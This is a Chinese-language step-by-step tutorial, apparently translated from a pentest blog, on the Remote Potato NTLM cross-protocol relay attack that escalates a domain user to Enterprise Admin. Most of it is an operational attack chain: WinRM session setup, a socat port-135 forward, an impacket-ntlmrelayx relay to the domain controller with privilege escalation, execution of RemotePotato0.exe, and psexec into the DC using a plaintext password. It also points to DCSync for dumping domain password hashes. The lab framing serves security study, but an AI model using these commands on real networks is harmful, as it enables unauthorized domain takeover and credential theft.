文章前言
NTLM中继是一种众所周知的技术,主要用于在网络内的服务器上建立某种立足点或用于权限提升,这种攻击在没有为LDAP和SMB协议启用签名的网络中是可行的,此外使用高权限的帐户对服务器和工作站进行身份验证的域管理员可能会给攻击者提供完整域信息泄露的可能性,因为他们的凭据可以通过LSASS或使用Remote Potato技术进行转储
Remote Potato是Antonio Cocomazzi和Andrea Pierini发现的一种技术,它允许攻击者将其权限从域用户提升到Enterprise Admin,此技术执行跨协议中继以实现NTLM反射攻击,并将提升的NTLM身份验证中继到域控制器以实现权限提升
权限提升
前提条件
具有Domain Administrator特权的用户已登录到主机或通过远程桌面登录主机
攻击者已获得对主机的初始访问权限,或者已通过WinRM或SSH访问
LDAP和SMB签名未配置
权限提升
Step 1:首先执行以下命令查看域内Domain Administrator特权用户所在主机的PS配置信息:
Get-PSSessionConfiguration
PS:如果没有启用PS可以通过以下命令启动
Enable-PSremoting
Set-Item WSMan:\localhost\Client\TrustedHosts -Value 10.0.0.3(攻击主机IP地址) //主要用于信任并接受来自攻击主机的连接
Step 2:执行以下命令与目标主机建立PowerShell会话
pwsh
Enter-PSSession -ComputerName 10.0.0.2 -Authentication Negotiate -Credential $(get-credential)
Step 3:运行以下命令在终端输出时转为后台作业,并通过socat将传入的流量转发回RPC侦听器
sudo stty -tostop
sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:10.0.0.2:9998 &
Step 4:在攻击主机上使用一个监听器(HTTP)接收NTLM身份验证并将其中继到DC,这里的域用户"pentestlab"用于权限提升,10.0.0.1为dc的IP地址
sudo impacket-ntlmrelayx -t ldap://10.0.0.1 --no-wcf-server --escalate-user pentestlab
Step 5:在攻击主机的powershell端)执行Remote Potato,这里的两个参数分别为用于接收经过身份验证的呼叫的主机(攻击主机的IP地址)的IP地址和RPC端口
https://github.com/antonioCoco/RemotePotato0
.\RemotePotato0.exe -r 10.0.0.3 -p 9998
之后可以检索到NTLM type 3 AUTH身份验证消息,然后将其中继到DC,以便通过LDAP进行身份验证,NTLM type 3 AUTH消息包含客户端对服务器质询的响应、域、用户名和主机信息:
目标用户将被添加到Enterprise Admins组,因为DC上的更改将从域管理员的角度执行
Step :6:之后执行"impacket psexec"模块或任何其他连接(RDP到域控制器等)验证用户是否已获得提升的权限,由于用户对域具有复制权限,因此也可以使用DCSync作为更隐蔽的方法来转储来自域的信息(例如域密码散列)
impacket-psexec 'purple/pentestlab:Password123@10.0.0.1'
当前权限为system权限:
之后pentstlab用户也成为了Enterprise Admin组的一员:
net user pentestlab
演示视频:
相关扩展
当目标域上存在域管理员会话时也可以直接从本地管理员提升到企业管理员(Cross Session Attack):
参考链接
https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop/
https://pentestlab.blog/2021/05/04/remote-potato-from-domain-user-to-enterprise-admin/
推 荐 阅 读